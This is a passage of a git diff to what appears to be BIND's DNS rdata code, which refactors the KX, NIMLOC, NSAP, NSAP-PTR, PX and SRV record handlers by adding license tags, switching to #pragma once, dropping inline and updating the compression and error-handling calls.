+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_KX_36_H
-#define IN_1_KX_36_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC2230 */
@@ -21,5 +22,3 @@ typedef struct dns_rdata_in_kx {
 	uint16_t preference;
 	dns_name_t exchange;
 } dns_rdata_in_kx_t;
-
-#endif /* IN_1_KX_36_H */
diff --git a/lib/dns/rdata/in_1/nimloc_32.c b/lib/dns/rdata/in_1/nimloc_32.c
index 751e5a8918..852c80a0ea 100644
--- a/lib/dns/rdata/in_1/nimloc_32.c
+++ b/lib/dns/rdata/in_1/nimloc_32.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_NIMLOC_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_nimloc(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_nimloc);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -30,7 +32,7 @@ fromtext_in_nimloc(ARGS_FROMTEXT) {
 	return (isc_hex_tobuffer(lexer, target, -2));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_nimloc(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -55,7 +57,7 @@ totext_in_nimloc(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_nimloc(ARGS_FROMWIRE) {
 	isc_region_t region;
 
@@ -64,7 +66,6 @@ fromwire_in_nimloc(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(dctx);
-	UNUSED(options);
 	UNUSED(rdclass);
 
 	isc_buffer_activeregion(source, &region);
@@ -77,7 +78,7 @@ fromwire_in_nimloc(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_nimloc(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_nimloc);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -88,7 +89,7 @@ towire_in_nimloc(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_in_nimloc(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -105,7 +106,7 @@ compare_in_nimloc(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_nimloc(ARGS_FROMSTRUCT) {
 	dns_rdata_in_nimloc_t *nimloc = source;
 
@@ -122,7 +123,7 @@ fromstruct_in_nimloc(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, nimloc->nimloc, nimloc->nimloc_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_nimloc(ARGS_TOSTRUCT) {
 	dns_rdata_in_nimloc_t *nimloc = target;
 	isc_region_t r;
@@ -139,15 +140,11 @@ tostruct_in_nimloc(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	nimloc->nimloc_len = r.length;
 	nimloc->nimloc = mem_maybedup(mctx, r.base, r.length);
-	if (nimloc->nimloc == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	nimloc->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_nimloc(ARGS_FREESTRUCT) {
 	dns_rdata_in_nimloc_t *nimloc = source;
 
@@ -165,19 +162,20 @@ freestruct_in_nimloc(ARGS_FREESTRUCT) {
 	nimloc->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_nimloc(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_nimloc);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_nimloc(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -189,7 +187,7 @@ digest_in_nimloc(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_nimloc(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_nimloc);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -202,7 +200,7 @@ checkowner_in_nimloc(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_nimloc(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_nimloc);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -214,7 +212,7 @@ checknames_in_nimloc(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_nimloc(ARGS_COMPARE) {
 	return (compare_in_nimloc(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/nimloc_32.h b/lib/dns/rdata/in_1/nimloc_32.h
index b0f0e60c44..faa919638a 100644
--- a/lib/dns/rdata/in_1/nimloc_32.h
+++ b/lib/dns/rdata/in_1/nimloc_32.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_NIMLOC_32_H
-#define IN_1_NIMLOC_32_H 1
+#pragma once
 
 /*!
  *  \brief http://ana-3.lcs.mit.edu/~jnc/nimrod/dns.txt
@@ -22,5 +23,3 @@ typedef struct dns_rdata_in_nimloc {
 	unsigned char *nimloc;
 	uint16_t nimloc_len;
 } dns_rdata_in_nimloc_t;
-
-#endif /* IN_1_NIMLOC_32_H */
diff --git a/lib/dns/rdata/in_1/nsap-ptr_23.c b/lib/dns/rdata/in_1/nsap-ptr_23.c
index ea7bd3b6ae..d155e5713e 100644
--- a/lib/dns/rdata/in_1/nsap-ptr_23.c
+++ b/lib/dns/rdata/in_1/nsap-ptr_23.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_NSAP_PTR_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_nsap_ptr(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -41,12 +43,12 @@ fromtext_in_nsap_ptr(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_nsap_ptr(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_nsap_ptr);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -58,12 +60,12 @@ totext_in_nsap_ptr(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_nsap_ptr(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -73,13 +75,13 @@ fromwire_in_nsap_ptr(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_nsap_ptr(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -89,15 +91,15 @@ towire_in_nsap_ptr(ARGS_TOWIRE) {
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_in_nsap_ptr(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -123,7 +125,7 @@ compare_in_nsap_ptr(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_nsap_ptr(ARGS_FROMSTRUCT) {
 	dns_rdata_in_nsap_ptr_t *nsap_ptr = source;
 	isc_region_t region;
@@ -141,7 +143,7 @@ fromstruct_in_nsap_ptr(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_nsap_ptr(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_in_nsap_ptr_t *nsap_ptr = target;
@@ -160,12 +162,12 @@ tostruct_in_nsap_ptr(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&nsap_ptr->owner, NULL);
-	RETERR(name_duporclone(&name, mctx, &nsap_ptr->owner));
+	name_duporclone(&name, mctx, &nsap_ptr->owner);
 	nsap_ptr->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_nsap_ptr(ARGS_FREESTRUCT) {
 	dns_rdata_in_nsap_ptr_t *nsap_ptr = source;
 
@@ -181,19 +183,20 @@ freestruct_in_nsap_ptr(ARGS_FREESTRUCT) {
 	nsap_ptr->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_nsap_ptr(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_nsap_ptr);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_nsap_ptr(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -208,7 +211,7 @@ digest_in_nsap_ptr(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_in_nsap_ptr(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_nsap_ptr);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -221,7 +224,7 @@ checkowner_in_nsap_ptr(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_nsap_ptr(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_nsap_ptr);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -233,7 +236,7 @@ checknames_in_nsap_ptr(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_nsap_ptr(ARGS_COMPARE) {
 	return (compare_in_nsap_ptr(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/nsap-ptr_23.h b/lib/dns/rdata/in_1/nsap-ptr_23.h
index a8fa4ca8cb..45e5b1692c 100644
--- a/lib/dns/rdata/in_1/nsap-ptr_23.h
+++ b/lib/dns/rdata/in_1/nsap-ptr_23.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_NSAP_PTR_23_H
-#define IN_1_NSAP_PTR_23_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC1348.  Obsoleted in RFC 1706 - use PTR instead. */
@@ -20,5 +21,3 @@ typedef struct dns_rdata_in_nsap_ptr {
 	isc_mem_t *mctx;
 	dns_name_t owner;
 } dns_rdata_in_nsap_ptr_t;
-
-#endif /* IN_1_NSAP_PTR_23_H */
diff --git a/lib/dns/rdata/in_1/nsap_22.c b/lib/dns/rdata/in_1/nsap_22.c
index fe3361ce51..465dd64c62 100644
--- a/lib/dns/rdata/in_1/nsap_22.c
+++ b/lib/dns/rdata/in_1/nsap_22.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_NSAP_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_nsap(ARGS_FROMTEXT) {
 	isc_token_t token;
 	isc_textregion_t *sr;
@@ -69,7 +71,7 @@ fromtext_in_nsap(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_nsap(ARGS_TOTEXT) {
 	isc_region_t region;
 	char buf[sizeof("xx")];
@@ -90,7 +92,7 @@ totext_in_nsap(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_nsap(ARGS_FROMWIRE) {
 	isc_region_t region;
 
@@ -99,7 +101,6 @@ fromwire_in_nsap(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(dctx);
-	UNUSED(options);
 	UNUSED(rdclass);
 
 	isc_buffer_activeregion(source, &region);
@@ -112,7 +113,7 @@ fromwire_in_nsap(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_nsap(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_nsap);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -123,7 +124,7 @@ towire_in_nsap(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_in_nsap(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -140,7 +141,7 @@ compare_in_nsap(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_nsap(ARGS_FROMSTRUCT) {
 	dns_rdata_in_nsap_t *nsap = source;
 
@@ -157,7 +158,7 @@ fromstruct_in_nsap(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, nsap->nsap, nsap->nsap_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_nsap(ARGS_TOSTRUCT) {
 	dns_rdata_in_nsap_t *nsap = target;
 	isc_region_t r;
@@ -174,15 +175,11 @@ tostruct_in_nsap(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	nsap->nsap_len = r.length;
 	nsap->nsap = mem_maybedup(mctx, r.base, r.length);
-	if (nsap->nsap == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	nsap->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_nsap(ARGS_FREESTRUCT) {
 	dns_rdata_in_nsap_t *nsap = source;
 
@@ -200,19 +197,20 @@ freestruct_in_nsap(ARGS_FREESTRUCT) {
 	nsap->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_nsap(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_nsap);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_nsap(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -224,7 +222,7 @@ digest_in_nsap(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_nsap(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_nsap);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -237,7 +235,7 @@ checkowner_in_nsap(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_nsap(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_nsap);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -249,7 +247,7 @@ checknames_in_nsap(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_nsap(ARGS_COMPARE) {
 	return (compare_in_nsap(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/nsap_22.h b/lib/dns/rdata/in_1/nsap_22.h
index 566d5bafb2..fd5803c6f7 100644
--- a/lib/dns/rdata/in_1/nsap_22.h
+++ b/lib/dns/rdata/in_1/nsap_22.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_NSAP_22_H
-#define IN_1_NSAP_22_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC1706 */
@@ -21,5 +22,3 @@ typedef struct dns_rdata_in_nsap {
 	unsigned char *nsap;
 	uint16_t nsap_len;
 } dns_rdata_in_nsap_t;
-
-#endif /* IN_1_NSAP_22_H */
diff --git a/lib/dns/rdata/in_1/px_26.c b/lib/dns/rdata/in_1/px_26.c
index 73d595355e..da757806cf 100644
--- a/lib/dns/rdata/in_1/px_26.c
+++ b/lib/dns/rdata/in_1/px_26.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_PX_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_px(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -63,12 +65,12 @@ fromtext_in_px(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_px(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	char buf[sizeof("64000")];
 	unsigned short num;
 
@@ -93,20 +95,22 @@ totext_in_px(ARGS_TOTEXT) {
 	 * MAP822.
 	 */
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
 	isc_region_consume(&region, name_length(&name));
-	RETERR(dns_name_totext(&prefix, sub, target));
+	RETERR(dns_name_totext(&prefix, opts, target));
 	RETERR(str_totext(" ", target));
 
 	/*
 	 * MAPX400.
 	 */
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_px(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t sregion;
@@ -117,7 +121,7 @@ fromwire_in_px(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
 
@@ -134,15 +138,15 @@ fromwire_in_px(ARGS_FROMWIRE) {
 	/*
 	 * MAP822.
 	 */
-	RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
 
 	/*
 	 * MAPX400.
 	 */
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_px(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -152,7 +156,7 @@ towire_in_px(ARGS_TOWIRE) {
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	/*
 	 * Preference.
 	 */
@@ -165,7 +169,7 @@ towire_in_px(ARGS_TOWIRE) {
 	 */
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &region);
-	RETERR(dns_name_towire(&name, cctx, target));
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
 	isc_region_consume(&region, name_length(&name));
 
 	/*
@@ -173,10 +177,10 @@ towire_in_px(ARGS_TOWIRE) {
 	 */
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &region);
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_in_px(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -222,7 +226,7 @@ compare_in_px(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_px(ARGS_FROMSTRUCT) {
 	dns_rdata_in_px_t *px = source;
 	isc_region_t region;
@@ -243,12 +247,11 @@ fromstruct_in_px(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_px(ARGS_TOSTRUCT) {
 	dns_rdata_in_px_t *px = target;
 	dns_name_t name;
 	isc_region_t region;
-	isc_result_t result;
 
 	REQUIRE(rdata->type == dns_rdatatype_px);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -268,24 +271,17 @@ tostruct_in_px(ARGS_TOSTRUCT) {
 	dns_name_fromregion(&name, &region);
 
 	dns_name_init(&px->map822, NULL);
-	RETERR(name_duporclone(&name, mctx, &px->map822));
+	name_duporclone(&name, mctx, &px->map822);
 	isc_region_consume(&region, name_length(&px->map822));
 
 	dns_name_init(&px->mapx400, NULL);
-	result = name_duporclone(&name, mctx, &px->mapx400);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	name_duporclone(&name, mctx, &px->mapx400);
 
 	px->mctx = mctx;
-	return (result);
-
-cleanup:
-	dns_name_free(&px->map822, mctx);
-	return (ISC_R_NOMEMORY);
+	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_px(ARGS_FREESTRUCT) {
 	dns_rdata_in_px_t *px = source;
 
@@ -302,19 +298,20 @@ freestruct_in_px(ARGS_FREESTRUCT) {
 	px->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_px(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_px);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_px(ARGS_DIGEST) {
 	isc_region_t r1, r2;
 	dns_name_t name;
@@ -344,7 +341,7 @@ digest_in_px(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_in_px(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_px);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -357,7 +354,7 @@ checkowner_in_px(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_px(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_px);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -369,7 +366,7 @@ checknames_in_px(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_px(ARGS_COMPARE) {
 	return (compare_in_px(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/px_26.h b/lib/dns/rdata/in_1/px_26.h
index a682090f72..36a1c0e400 100644
--- a/lib/dns/rdata/in_1/px_26.h
+++ b/lib/dns/rdata/in_1/px_26.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_PX_26_H
-#define IN_1_PX_26_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC2163 */
@@ -22,5 +23,3 @@ typedef struct dns_rdata_in_px {
 	dns_name_t map822;
 	dns_name_t mapx400;
 } dns_rdata_in_px_t;
-
-#endif /* IN_1_PX_26_H */
diff --git a/lib/dns/rdata/in_1/srv_33.c b/lib/dns/rdata/in_1/srv_33.c
index 268c0e9385..0f33278045 100644
--- a/lib/dns/rdata/in_1/srv_33.c
+++ b/lib/dns/rdata/in_1/srv_33.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,9 +16,9 @@
 #ifndef RDATA_IN_1_SRV_33_C
 #define RDATA_IN_1_SRV_33_C
 
-#define RRTYPE_SRV_ATTRIBUTES (0)
+#define RRTYPE_SRV_ATTRIBUTES (DNS_RDATATYPEATTR_FOLLOWADDITIONAL)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_srv(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -84,12 +86,12 @@ fromtext_in_srv(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_srv(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	char buf[sizeof("64000")];
 	unsigned short num;
 
@@ -132,11 +134,12 @@ totext_in_srv(ARGS_TOTEXT) {
 	 * Target.
 	 */
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_srv(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t sr;
@@ -147,7 +150,7 @@ fromwire_in_srv(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
 
@@ -164,10 +167,10 @@ fromwire_in_srv(ARGS_FROMWIRE) {
 	/*
 	 * Target.
 	 */
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_srv(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -176,7 +179,7 @@ towire_in_srv(ARGS_TOWIRE) {
